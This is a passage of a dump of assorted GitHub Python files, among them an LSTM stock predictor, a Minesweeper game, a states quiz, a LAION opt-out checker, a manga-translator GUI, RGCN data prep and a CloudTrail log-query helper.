read_data_pandas(file_name='train_data.csv')\nvalidation_data = read_data_pandas(file_name='validation_data.csv')\ntest_data = read_data_pandas(file_name='test_data.csv')\n\ntrain_data_wavelet_log_diff = np.loadtxt(os.path.join('DATA', 'train_data_wavelet_log_diff.csv'), delimiter=',')\n\n#%%\ndef zscore(training_data, data):\n training_data_mean = np.mean(training_data, axis=0)\n training_data_std = np.std(training_data, axis=0)\n normalized_data = (data - training_data_mean) / training_data_std\n return normalized_data\n \nconfidence_interval_99 = [-2.58, 2.58]\n\n#%%\ntime_length = 59\nnum_classes = 4\ntarget_column = 'N225_Close'\n\ndef make_dataset(data):\n \n inputs_data = []\n \n for i in range(len(data)-time_length):\n temp_set = data[i:(i+time_length)].copy()\n inputs_data.append(temp_set)\n \n inputs_target = np.zeros(shape=(len(data)-time_length, num_classes))\n for i in range(len(data)-time_length):\n if data[target_column][time_length + i] <= confidence_interval_99[0]:\n inputs_target[i, 0] = 1\n elif confidence_interval_99[0] < data[target_column][time_length + i] and data[target_column][time_length + i] < 0:\n inputs_target[i, 1] = 1\n elif 0 <= data[target_column][time_length + i] and data[target_column][time_length + i] < confidence_interval_99[1]:\n inputs_target[i, 2] = 1\n elif confidence_interval_99[0] <= data[target_column][time_length + i]:\n inputs_target[i, 3] = 1\n\n inputs_data_np = [np.array(inputs_data) for inputs_data in inputs_data]\n inputs_data_np = np.array(inputs_data_np)\n \n inputs_target_np = np.array(inputs_target)\n\n return inputs_data_np, inputs_target_np\n\n#%%\n# make Training data\ntrain_data = all_data.loc[:'2017-10-31 00:00:00']\n\ntrain_data_normalized = zscore(train_data, train_data)\n\nLSTM_inputs_train_data, LSTM_inputs_target_train_data = make_dataset(train_data_normalized)\n\n#%%\n# make Validation data\nvalidation_data = all_data.loc['2017-11-01 00:00:00':'2018-07-31 00:00:00']\n\nvalidation_data_normalized = zscore(train_data, validation_data)\n\nLSTM_inputs_validation_data, LSTM_inputs_target_validation_data = make_dataset(validation_data_normalized)\n\n#%%\n# make Test data\n\ntest_data = all_data.loc['2018-08-01 00:00:00':]\n\ntest_data_normalized = zscore(train_data, test_data)\n\nLSTM_inputs_test_data, LSTM_inputs_target_test_data = make_dataset(test_data_normalized)\n\n#%%\nfig, (ax1, ax2) = plt.subplots(2, 1, figsize=(16, 9))\nhist1 = train_data_normalized['N225_Close'].hist(bins=300, ax=ax1, label='train_data')\nax1.vlines(-2.58, 0, 120, colors='r', linewidth=0.8, label='-0.5%')\nax1.vlines(2.58, 0, 120, colors='r', linewidth=0.8, label='0.5%')\nax1.legend()\nhist2 = test_data_normalized['N225_Close'].hist(bins=200, ax=ax2, label='test_data')\nax2.vlines(-2.58, 0, 16, colors='r', linewidth=0.8, label='-0.5%')\nax2.vlines(2.58, 0, 16, colors='r', linewidth=0.8, label='0.5%')\nax2.legend()\nplt.savefig(os.path.join('model', 'hist_train_data.png'), dpi=300)\nplt.show()\n\n#%%\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense\nfrom keras.layers import CuDNNLSTM\n#from keras.layers.recurrent import LSTM\nfrom keras import optimizers\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom keras.utils import plot_model\nfrom keras.initializers import glorot_uniform\nfrom keras.initializers import orthogonal\n\nnp.random.seed(123)\n\n#%%\nin_dim = LSTM_inputs_train_data.shape[2]\nout_dim = num_classes\nhidden_size = 125\nbatch_size = 302\nepochs = 100\n\nmodel = Sequential()\nmodel.add(CuDNNLSTM(hidden_size, return_sequences=False,\n batch_input_shape=(None, time_length, in_dim),\n kernel_initializer = glorot_uniform(seed=123),\n recurrent_initializer = orthogonal(gain=1.0, seed=123)))\nmodel.add(Dense(out_dim, activation='softmax',\n kernel_initializer = glorot_uniform(seed=123)))\n\nAdamax = optimizers.Adamax(lr=0.002, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0)\nmodel.compile(loss='kullback_leibler_divergence', optimizer=Adamax, metrics=['categorical_accuracy'])\n\nmodel.summary()\nplot_model(model, to_file=os.path.join('model', 'model.png'), show_shapes=True)\n\nearly_stopping = EarlyStopping(monitor='categorical_accuracy', mode='auto', patience=10)\nmodel_checkpoint = ModelCheckpoint(filepath=os.path.join('model', 'best_model_checkpint.h5'), monitor='val_loss', save_best_only=True, mode='auto')\nLSTM_history = model.fit(LSTM_inputs_train_data, LSTM_inputs_target_train_data,\n batch_size=batch_size,\n epochs=epochs,\n validation_data=(LSTM_inputs_validation_data, LSTM_inputs_target_validation_data),\n shuffle=False,\n callbacks=[early_stopping, model_checkpoint])\nmodel.save_weights(os.path.join('model', 'LSTM_weights.h5'))\n \nwith open(os.path.join('model', 'LSTM_history.pickle'), mode='wb') as f:\n pickle.dump(LSTM_history, f)\n\nloss = LSTM_history.history['loss']\nval_loss = LSTM_history.history['val_loss']\nacc = LSTM_history.history['categorical_accuracy']\nval_acc = LSTM_history.history['val_categorical_accuracy']\n\nfig, (ax1, ax2) = plt.subplots(2,1, figsize=(16,9))\nax1.plot(range(len(loss)), loss, label='loss', color='blue', linestyle='-.')\nax1.plot(range(len(val_loss)), val_loss, label='val_loss', color='red')\nax1.set_xlabel('epochs', fontsize=12)\nax1.set_ylabel('loss', fontsize=12)\nax1.grid(which='major',color='gray',linestyle='--')\nax1.legend(fontsize=12)\nax2.plot(range(len(acc)), acc, label='acc', color='blue', linestyle='-.')\nax2.plot(range(len(val_acc)), val_acc, label='val_acc', color='red')\nax2.set_xlabel('epochs', fontsize=12)\nax2.set_ylabel('accuracy', fontsize=12)\nax2.grid(which='major',color='gray',linestyle='--')\nax2.legend(fontsize=12)\nplt.savefig(os.path.join('model', 'model_loss_acc.png'), dpi=300)\nplt.show()\n\n#%%\nmodel.load_weights(os.path.join('model', 'best_model_checkpint.h5'))\npredicted_test_data = model.predict(LSTM_inputs_test_data)\n\nloss_and_metrics = model.evaluate(LSTM_inputs_test_data, LSTM_inputs_target_test_data, verbose = 1)\n\njudgement = []\nif np.argmax(predicted_test_data[-1,:]) == np.argmax(LSTM_inputs_target_test_data[-1,:]):\n judgement = 'OK'\nelse:\n judgement = 'NO'\n \n \nprint('loss:', loss_and_metrics[0])\nprint('categorical_accuracy:', loss_and_metrics[1])\nprint('predicted_last_test_data:', predicted_test_data[-1])\nprint('predicted_last_test_data_category: {category} {judgement}'.format(category=np.argmax(predicted_test_data[-1,:]), judgement=judgement))\n\n#%%\ntomorrow_pred_data = all_data.iloc[len(all_data)-time_length:]\ntomorrow_pred_data_normalized = zscore(train_data, tomorrow_pred_data)\n\nLSTM_inputs_tomorrow_pred_data = np.resize(tomorrow_pred_data.values, [1, time_length, in_dim])\n\npredicted_tomorrow_pred_data = model.predict(LSTM_inputs_tomorrow_pred_data)\n\nprint('next_day_prediction:', predicted_tomorrow_pred_data[-1])\nprint('next_day_prediction_category:', np.argmax(predicted_tomorrow_pred_data))","repo_name":"IamYotaro/N225","sub_path":"N225.py","file_name":"N225.py","file_ext":"py","file_size_in_byte":7808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20082461540","text":"\nfrom multicorn import ForeignDataWrapper\nfrom multicorn.utils import log_to_postgres\n\n\nclass SimpleFDW(ForeignDataWrapper):\n \"\"\"Simple FDW that just demonstrates how to return data to a select\n statement.\n\n CREATE SERVER simple_srv foreign data wrapper multicorn options (wrapper 'pygoth.simple_fdw.SimpleFDW' );\n\n CREATE FOREIGN TABLE simple (col1 text, col2 int) server simple_srv;\n\n \"\"\"\n\n def execute(self, quals, columns):\n log_to_postgres(\"executing simple select\")\n\n for q in quals:\n log_to_postgres(\"qual: \" + str(q))\n\n for c in columns:\n log_to_postgres(\"col: \" + str(c))\n\n yield {\n 'col1': 'hello',\n 'col2': 42,\n }\n\n yield {\n 'col1': 'world',\n 'col2': 43,\n }\n\n\nclass NotSoSimpleFDW(ForeignDataWrapper):\n \"\"\"Simple FDW that demonstrates returning lists of ints and strings.\n\n CREATE SERVER not_so_simple_srv foreign data wrapper multicorn options (wrapper 'pygoth.simple_fdw.NotSoSimpleFDW' );\n\n CREATE FOREIGN TABLE not_so_simple (id int, col1 int[], col2 text[]) server not_so_simple_srv;\n\n \"\"\"\n\n def execute(self, quals, columns):\n log_to_postgres(\"executing not_so_simple select\")\n\n yield {\n 'id': 0,\n 'col1': [1, 2, 3, 4],\n 'col2': ['one', 'two', 'three', 'four'],\n }\n\n yield {\n 'id': 1,\n 'col1': [2, 4],\n 'col2': ['two', 'four'],\n }\n\n yield {\n 'id': 2,\n 'col1': [1, 3],\n 'col2': ['one', 'three'],\n }\n","repo_name":"chartbeat-labs/pygoth2014","sub_path":"pygoth/simple_fdw.py","file_name":"simple_fdw.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"10774149448","text":"def decoratore(cls):\n if not 'ff' in cls.__dict__.keys() or not callable(cls.__dict__['ff']):\n ClasseConFF.ff()\n return cls\n\nclass ClasseConFF():\n @classmethod\n def ff(cls):\n print(\"Il decoratore mi ha invocato\")\n\n@decoratore\nclass ConFF():\n def ff(self):\n print('hello')\n\n@decoratore\nclass SenzaFF():\n def ae(self):\n print (2 + 2)\n\nif __name__ == \"__main__\":\n f = ConFF()\n f.ff()\n\n s = SenzaFF()\n\n","repo_name":"StayErk/EserciziPA","sub_path":"Esercizio6/mainP2.py","file_name":"mainP2.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23145567227","text":"import turtle\r\nimport pandas\r\nfrom points_manager import Point\r\nimport time\r\n\r\nscreen = turtle.Screen()\r\nscreen.setup(width=725, height=491)\r\nscreen.title('U.S. States Game')\r\nimage = './Quiz_game/blank_states_img.gif'\r\nscreen.addshape(image)\r\nturtle.shape(image)\r\nscreen.tracer(0)\r\npoints_manager = Point()\r\n\r\ndata = pandas.read_csv('./Quiz_game/50_states.csv')\r\n\r\nstates_list = data['state'].to_list()\r\n\r\nfor i in range(len(states_list)):\r\n states_list[i] = states_list[i].lower()\r\n\r\nwhile len(points_manager.all_points) < 50:\r\n time.sleep(0.1)\r\n right_answers = len(points_manager.all_points)\r\n answer_state = screen.textinput(title=f'States correct [{right_answers}/50]', prompt='What\\'s another state\\'s name?').lower()\r\n if answer_state in states_list and right_answers < 50:\r\n if answer_state in points_manager.state_name:\r\n pass\r\n else:\r\n coor = (int(data[data.state.str.lower() == answer_state].x), int(data[data.state.str.lower() == answer_state].y))\r\n points_manager.add_point(coor=coor, state=data[data.state.str.lower() == answer_state].state.item())\r\n if answer_state == 'exit':\r\n missing_states = []\r\n how_many = len(states_list) - len(points_manager.all_points)\r\n print(how_many)\r\n for _ in range(how_many):\r\n if states_list[_] not in points_manager.all_points:\r\n missing_states.append(states_list[_])\r\n new_data = pandas.DataFrame(missing_states)\r\n new_data.to_csv('./Quiz_game/states_to_learn')\r\n break\r\n screen.update()","repo_name":"KillerVyva/Guess_the_state_quiz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24558487040","text":"# @Time : 2019/12/26 6:20 下午\n# @Author : HansomeBo\n# @File : four_sum_count.py\n# @Software: PyCharm\n# https://leetcode-cn.com/problems/4sum-ii/\n# 四数相加\n\"\"\"\n1、四个集合长度相同\n2、集合长度小于500\n\"\"\"\nfrom typing import List\nimport requests\n\n\ndef fou_sum_count(self, A: List[int], B: List[int], C: List[int], D: List[int]) -> int:\n \"\"\"\n 最差复杂度O(n^4) = 500^4 = 62500000000\n 如果将三个数的组合进行Hash,复杂度O(n^3) = 500^3 = 125000000\n 将四组数分两组,进行两次Hash,复杂度为O(n^2)\n :param self:\n :param A:\n :param B:\n :param C:\n :param D:\n :return:\n \"\"\"\n tmp = None\n count = 0\n dictAB = {}\n C.sort()\n D.sort()\n for i in A:\n for j in B:\n tmp = i + j\n if dictAB.get(tmp):\n dictAB.update({tmp: dictAB.get(tmp) + 1})\n else:\n dictAB.setdefault(tmp, 1)\n print(dictAB)\n for i in C:\n for j in D:\n tmp = i + j\n if dictAB.get(-tmp):\n count = count + dictAB.get(-tmp)\n return count\n\n\nif __name__ == '__main__':\n print(requests.get(\"https://baidu.com\").text);\n","repo_name":"HansomeBo/leet-code","sub_path":"leet_code/top_interview/medium/four_sum_count.py","file_name":"four_sum_count.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12958179282","text":"\"\"\"\r\n An attempt to replicate classic minesweeper game using pygame.\r\n Author: Nick Poberezhnyk.\r\n email: nick.poberezhnyk@gmail.com\r\n \r\n images from opengameart.org\r\n\"\"\"\r\n# pylint: disable=no-member\r\n\r\nimport pygame, sys, random\r\nimport pygame.locals as pl\r\nfrom settings import Settings\r\nfrom gamegrid import GameGrid\r\n\r\npygame.init()\r\n\r\n\r\ndef main():\r\n settings = Settings()\r\n\r\n # Clock that sets the amount of frames per second.\r\n fps_clock = pygame.time.Clock()\r\n\r\n # Set title for the game window.\r\n pygame.display.set_caption(\"Minesweeper\")\r\n\r\n # Create display surface on which everithing is drawn.\r\n DISPLAY_SURFACE = pygame.display.set_mode((settings.WINDOW_WIDTH, \r\n settings.WINDOW_HEIGHT))\r\n\r\n game_grid = GameGrid(DISPLAY_SURFACE)\r\n game_grid.setup_game_grid()\r\n\r\n while True:\r\n DISPLAY_SURFACE.fill(settings.BLACK)\r\n \r\n # Get mouse position.\r\n mouse_x, mouse_y = pygame.mouse.get_pos()\r\n\r\n for event in pygame.event.get():\r\n if event.type == pl.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == pl.KEYDOWN:\r\n if (game_grid.game_over or game_grid.won \r\n and event.key == pl.K_SPACE or event.key == pl.K_RETURN):\r\n # Create new game grid.\r\n game_grid.reset_grid()\r\n \r\n if not game_grid.game_over and not game_grid.won:\r\n if event.type == pl.MOUSEBUTTONDOWN:\r\n for row in game_grid.tiles_map:\r\n for tile in row:\r\n # Check if mouse is over the tile.\r\n if (mouse_x > tile.x \r\n and mouse_x < tile.x + tile.TILE_SIZE\r\n and mouse_y > tile.y \r\n and mouse_y < tile.y + tile.TILE_SIZE):\r\n # Handle left click.\r\n if (pygame.mouse.get_pressed()[0] \r\n and tile.state == \"closed\"):\r\n # Check if tile is blank.\r\n game_grid.open_around_blanks(tile)\r\n tile.state = \"open\"\r\n if tile.type == \"bomb\":\r\n game_grid.game_over = True\r\n game_grid.reveal_all_bombs()\r\n # Handle right click.\r\n elif pygame.mouse.get_pressed()[2]:\r\n if tile.state == \"closed\":\r\n tile.state = \"flag\"\r\n game_grid.num_flags += 1\r\n elif tile.state == \"flag\":\r\n tile.state = \"closed\"\r\n game_grid.num_flags -= 1\r\n \r\n game_grid.check_win()\r\n game_grid.draw_game()\r\n\r\n if game_grid.game_over:\r\n game_grid.draw_game_over()\r\n elif game_grid.won:\r\n game_grid.draw_win()\r\n game_grid.show_all_bombs_as_flags()\r\n\r\n pygame.display.update()\r\n fps_clock.tick(settings.FPS)\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"nicknickovich/minesweeper-pygame","sub_path":"minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25621889769","text":"#!/usr/bin/env python3\n# from typing import *\n\nYES = \"Yes\"\nNO = \"No\"\n\n\n# def solve(S: str) -> str:\ndef solve(S):\n if len(S) == 1:\n return YES\n\n if len(S) == S.count('a'):\n return YES\n\n tail_a = 0\n i = -1\n while S[i] == \"a\":\n i -= 1\n tail_a += 1\n\n head_a = 0\n i = 0\n\n while S[i] == \"a\":\n i += 1\n head_a += 1\n\n count_add_a = tail_a - head_a\n\n h_a = [\"a\"] * count_add_a\n\n S = h_a + list(S)\n\n if len(S) % 2 == 0:\n if S[0 : len(S) // 2] == list(reversed(S[len(S) // 2 :])):\n return YES\n else:\n return NO\n else:\n if S[0 : len(S) // 2] == list(reversed(S[len(S) // 2 + 1 :])):\n return YES\n else:\n return NO\n\n\n# generated by oj-template v4.8.1 (https://github.com/online-judge-tools/template-generator)\ndef main():\n S = input()\n a = solve(S)\n print(a)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"84zume/AtCoder","sub_path":"contests/src/abc237/abc237_c/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22732428784","text":"from datasets import load_from_disk, load_dataset\n\nimport json\n\nimport asyncio\nimport aiohttp\nfrom aiolimiter import AsyncLimiter\n\nTOKEN = \"\"\nheaders = {\"Authorization\": f\"API {TOKEN}\"}\n\nOPT_IN_OUT_URLS_SCAN_MAX_CONCURRENT_REQUESTS_NUMBER = 100\nOPT_IN_OUT_URLS_SCAN_MAX_REQUESTS_PER_SECOND = 50\n\nBATCH_SIZE = 100000\nCHUNK_SIZE = 1000\nIMAGE_FEATURE = \"URL\"\n\nOPT_IN_COUNT = 0\nOPT_OUT_COUNT = 0\n\n\nasync def check_spawning(image_urls, semaphore, limiter):\n url = f\"https://opts-api.spawningaiapi.com/api/v2/query/urls\"\n async with aiohttp.ClientSession(headers=headers) as session:\n await semaphore.acquire()\n async with limiter:\n async with session.post(\n url=url,\n data=\"\\n\".join(image_urls).encode(\"utf-8\")\n ) as resp:\n content = await resp.read()\n semaphore.release()\n return json.loads(content)\n\n\nasync def opt_in_out_task(data_items) -> (int, int, int):\n tasks = []\n\n semaphore = asyncio.Semaphore(value=OPT_IN_OUT_URLS_SCAN_MAX_CONCURRENT_REQUESTS_NUMBER)\n limiter = AsyncLimiter(OPT_IN_OUT_URLS_SCAN_MAX_REQUESTS_PER_SECOND, time_period=1)\n\n shards = [data_items[\"URL\"][i:i + CHUNK_SIZE] for i in range(0, len(data_items[\"URL\"]), CHUNK_SIZE)]\n\n for shard in shards:\n tasks.append(asyncio.create_task(check_spawning(shard, semaphore, limiter)))\n await asyncio.wait(tasks)\n\n content = [url for task in tasks for url in task.result()[\"urls\"]]\n\n opt_in = [x[\"optIn\"] for x in content]\n opt_out = [x[\"optOut\"] for x in content]\n\n return {\"OPT_IN\": opt_in, \"OPT_OUT\": opt_out}\n\n\ndef async_mapping(data_items):\n global OPT_IN_COUNT, OPT_OUT_COUNT\n\n results = asyncio.run(opt_in_out_task(data_items))\n\n OPT_IN_COUNT = OPT_IN_COUNT + sum(results[\"OPT_IN\"])\n OPT_OUT_COUNT = OPT_OUT_COUNT + sum(results[\"OPT_OUT\"])\n\n return results\n\n\nif __name__ == \"__main__\":\n ds = load_from_disk(\"./laion2b-en-small\")\n # ds = load_dataset(\"laion/laion2B-en\", split=\"train\", num_proc=2)\n ds_opts = ds.map(batched=True, batch_size=BATCH_SIZE, function=async_mapping, remove_columns=ds.column_names)\n\n with open(\"./results\", \"w\") as f:\n f.write(f\"OPT_IN_COUNT: {OPT_IN_COUNT}\\n\")\n f.write(f\"OPT_OUT_COUNT: {OPT_OUT_COUNT}\\n\")\n f.write(f\"LENGTH: {len(ds_opts)}\\n\")\n","repo_name":"huggingface/ethics-scripts","sub_path":"async_api_scrapes/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"11"} +{"seq_id":"73796152026","text":"from ui.UI_MAIN import Ui_MainWindow\nfrom PySide2.QtCore import *\nfrom PySide2.QtGui import *\nfrom PySide2.QtWidgets import *\nimport qdarkstyle, os\nimport json\nimport codecs\nfrom lib.client import RunTranslate\n\n\nclass MANGA_TR(QMainWindow, Ui_MainWindow):\n \n def __init__(self):\n super().__init__()\n\n self.setupUi(self)\n self.setFont(QFont('나눔고딕OTF', 10))\n self.setStyleSheet(qdarkstyle.load_stylesheet_pyside2())\n\n QObject.connect(self.select_file_dir_btn, SIGNAL('clicked()'), self.selectFiles)\n QObject.connect(self.open_file_dir_btn, SIGNAL('clicked()'), self.openFolder)\n QObject.connect(self.run_translate_btn, SIGNAL('clicked()'), self.runTrans)\n\n json_data = json.load(codecs.open('user_info.json', 'r', encoding='utf-8'))\n self.rt = RunTranslate(self, json_data['구글_메일_주소'])\n self.rt.changeValue.connect(self.progressBar.setValue)\n self.show()\n\n\n\n def runTrans(self):\n if self.run_translate_btn.text() == '번역하기':\n self.f_log_browser.clear()\n self.rt.start()\n self.run_translate_btn.setText('번역중지')\n else:\n self.rt.stop()\n self.run_translate_btn.setText('번역하기')\n\n\n def selectFiles(self):\n dir_loc = QFileDialog.getExistingDirectory(self, 'Find Folder')\n if len(dir_loc) == 0:\n return\n self.transed_file_dir.setText(dir_loc)\n\n\n def openFolder(self):\n os.system('explorer \\\"{}\\\"'.format((self.transed_file_dir.text()).replace('/', '\\\\')))\n\n\n\nif __name__ == '__main__':\n import sys\n import ctypes\n ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)\n app = QApplication(sys.argv)\n manga_tr = MANGA_TR()\n app.exec_()","repo_name":"kdrkdrkdr/manga-tr","sub_path":"manga-translator.py","file_name":"manga-translator.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"22254787005","text":"\"\"\"\nModeling Relational Data with Graph Convolutional Networks\nPaper: https://arxiv.org/abs/1703.06103\nCode: https://github.com/tkipf/relational-gcn\n\nDifference compared to tkipf/relation-gcn\n* l2norm applied to all weights\n* remove nodes that won't be touched\n\"\"\"\nimport os\nimport time\nimport argparse\nimport numpy as np\nimport time\nimport torch\nimport torch.nn.functional as F\nfrom dgl import DGLGraph\nfrom dgl.nn.pytorch import RelGraphConv\nfrom dgl.contrib.data import load_data\nfrom functools import partial\n\ndef main(dataset):\n\n # load graph data\n if not os.path.exists(dataset):\n os.mkdir(dataset)\n os.chdir(dataset)\n data = load_data(dataset, bfs_level=3, relabel=False)\n \n num_nodes = data.num_nodes\n num_rels = data.num_rels\n num_classes = data.num_classes\n labels = data.labels\n train_idx = data.train_idx\n test_idx = data.test_idx\n print(type(num_nodes))\n print(type(num_rels))\n print(type(num_classes))\n with open('num.txt', 'w') as f:\n f.write('{}#{}#{}'.format(num_nodes, num_rels, num_classes))\n np.save('labels.npy', labels)\n print(type(train_idx))\n np.save('trainIdx.npy', train_idx)\n print(type(test_idx))\n np.save('testIdx.npy', test_idx)\n # split dataset into train, validate, test\n\n\n # since the nodes are featureless, the input feature is then the node id.\n feats = torch.arange(num_nodes)\n\n # edge type and normalization factor\n print('edge_src type = ', type(data.edge_src))\n print('shape = ', data.edge_src.shape)\n print(data.edge_src)\n np.save('edgeSrc.npy', data.edge_src)\n np.save('edgeDst.npy', data.edge_dst)\n\n print('***')\n print('edge_type type =', type(data.edge_type))\n print('edge_type shape =', data.edge_type.shape)\n print(data.edge_type)\n np.save('edgeType.npy', data.edge_type)\n print('***')\n print('edge_norm type =', type(data.edge_norm))\n print('edge_norm shape = ', data.edge_norm.shape)\n print(data.edge_norm)\n np.save('edgeNorm.npy', data.edge_norm)\n print('***')\n print('Finish extracting dataset : {}'.format(dataset))\n os.chdir('..')\n\nif __name__ == '__main__':\n dataset_list = ['aifb', 'mutag', 'bgs']\n for dataset in dataset_list:\n main(dataset)\n","repo_name":"nithinmanoj10/Seastar-Documentation","sub_path":"Seastar/exp/dataset/gen_dataset_rgcn.py","file_name":"gen_dataset_rgcn.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"35649453699","text":"import datetime\nimport collections\nfrom multiprocessing.connection import wait\nimport boto3\nimport time\n\nclient = boto3.client('cloudtrail')\npaginator = client.get_paginator('lookup_events')\n\nstartingToken = None\n\ndef get_events_summaries(events):\n \"\"\" \n Summarizes CloudTrail events list by reducing into counters of occurences for each event, resource name, and resource type in list.\n Args:\n events (dict): Dictionary containing list of CloudTrail events to be summarized.\n Returns:\n (list, list, list)\n Lists containing name:count tuples of most common occurences of events, resource names, and resource types in events list.\n \"\"\"\n event_name_counter = collections.Counter()\n resource_name_counter = collections.Counter()\n resource_type_counter = collections.Counter()\n for event in events['Events']:\n resources = event.get(\"Resources\")\n event_name_counter.update([event.get('EventName')])\n if resources is not None:\n resource_name_counter.update([resource.get(\"ResourceName\") for resource in resources])\n resource_type_counter.update([resource.get(\"ResourceType\") for resource in resources])\n return event_name_counter.most_common(10), resource_name_counter.most_common(10), resource_type_counter.most_common(10)\n\ndef get_events(attributeKey, attributeValue):\n \"\"\"\n Looks up management events or CloudTrail Insights events that are captured by CloudTrail.\n Args:\n attributeKey (string): Specifies an attribute on which to filter the events returned\n attributeValue (string): Specifies a value for the specified AttributeKey\n Returns:\n (dict)\n Contains a response to a LookupEvents action\n \"\"\"\n response = client.lookup_events (\n LookupAttributes=[\n {\n 'AttributeKey': attributeKey,\n 'AttributeValue': attributeValue\n }\n ],\n )\n return response\n\ndef start_query(query):\n \"\"\"\n Starts a CloudTrail Lake query. \n Args:\n QueryStatement (string): The SQL code of your query.\n Returns:\n dict\n \"\"\"\n response = client.start_query(\n QueryStatement=query\n )\n return response\n\ndef describe_query(eventDataStore,quertId):\n \"\"\"\n Returns metadata about a query, including query run time in milliseconds, number of events scanned and matched, and query status.\n Args:\n eventDataStore (string): The ARN (or the ID suffix of the ARN) of an event data store on which the specified query was run.\n quertId (string): The query ID.\n Returns: (dict)\n \"\"\"\n response = client.describe_query(\n EventDataStore = eventDataStore,\n QueryId = quertId\n )\n return response\n\ndef get_query_results(eventDatasotre,queryId):\n \"\"\"\n Gets event data results of a query. \n Args:\n eventDatasotre (string): The ARN (or ID suffix of the ARN) of the event data store against which the query was run.\n queryId (string): The ID of the query for which you want to get results.\n nextToken (string): A token you can use to get the next page of query results.\n maxQueryResults (integer): The maximum number of query results to display on a single page.\n Returns:\n\n \"\"\" \n describeQuery = describe_query(eventDatasotre,queryId)\n while (describeQuery['QueryStatus'] in ['RUNNING','QUEUED']):\n print ('Waiting for query to complete ...')\n time.sleep(1)\n describeQuery = describe_query(eventDatasotre,queryId)\n response = client.get_query_results(EventDataStore=eventDatasotre, QueryId=queryId)\n return response\n\ndef test():\n \"\"\"\n test all funtions\n \"\"\"\n start = time.time()\n cloudTrail_events = get_events('ReadOnly','true')\n end = time.time()\n\n events_summaries = get_events_summaries(cloudTrail_events)\n queryStatement = start_query(\"SELECT eventTime, userIdentity.username, requestParameters, sourceIPAddress, userAgent from f6f5758b-4d46-4b16-b6a2-0714cfc372ff where eventName = 'ListAccessPoints'\")\n queryId = queryStatement[\"QueryId\"]\n describeQuery = describe_query('f6f5758b-4d46-4b16-b6a2-0714cfc372ff',queryId)\n getQueryResult = get_query_results('f6f5758b-4d46-4b16-b6a2-0714cfc372ff',queryId)\n\n print(cloudTrail_events)\n print(f\"Runtime of the program is {end - start}\")\n # print(events_summaries)\n # print(queryId)\n # print(describeQuery)\n # print(getQueryResult)\n\ntest()","repo_name":"PaceyLong/HuntingSupportTool","sub_path":"cloudTrail.py","file_name":"cloudTrail.py","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4738437738","text":"from typing import Optional\n\nfrom fastapi import Query, Form\nfrom pydantic import BaseModel, Field\n\nfrom app.dependencies import color_regex\nfrom app.schemats.editor import EditorResponse\nfrom app.schemats.project_type import ProjectTypeResponse\n\n\nclass ProjectResponse(BaseModel):\n id: int\n name: str\n description: str\n color: str = None\n image: str = None\n type: ProjectTypeResponse\n editor: EditorResponse = None\n\n def get_correct(self):\n if self.color is None:\n self.color = self.type.color\n if self.image is None:\n self.image = self.type.default_image\n if self.editor is None:\n self.editor = self.type.default_editor\n return self\n\n class Config:\n orm_mode = True\n\n\nclass ProjectCreate(BaseModel):\n name: str = Query(None, min_length=10, max_length=100)\n description: str = Query(None, max_length=500)\n color: Optional[str] = Query(None, regex=color_regex)\n type_id: int\n editor_id: Optional[int]\n\n @classmethod\n def as_form(\n cls,\n name: str = Form(..., min_length=10, max_length=100),\n description: str = Form(..., max_length=500),\n color: Optional[str] = Form(None, regex=color_regex),\n type_id: int = Form(...),\n editor_id: Optional[int] = Form(None),\n ):\n return cls(\n name=name,\n description=description,\n color=color,\n type_id=type_id,\n editor_id=editor_id\n )\n\n class Config:\n orm_mode = True\n\n\nclass ProjectEdit(BaseModel):\n name: Optional[str] = Query(None, min_length=10, max_length=100)\n description: Optional[str] = Query(None, max_length=500)\n color: Optional[str] = Query(None, regex=color_regex)\n type_id: Optional[int]\n editor_id: Optional[int]\n\n @classmethod\n def as_form(\n cls,\n name: Optional[str] = Form(None, min_length=10, max_length=100),\n description: Optional[str] = Form(None, max_length=500),\n color: Optional[str] = Form(None, regex=color_regex),\n type_id: Optional[int] = Form(None),\n editor_id: Optional[int] = Form(None),\n ):\n return cls(\n name=name,\n description=description,\n color=color,\n type_id=type_id,\n editor_id=editor_id\n )\n\n class Config:\n orm_mode = True\n","repo_name":"n2oneProgrammer/projects_IDE_integrator","sub_path":"app/schemats/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36249684164","text":"from robocorp.tasks import task\n\nfrom bs4 import BeautifulSoup\nimport requests\n\nfrom SQLiteDatabase import 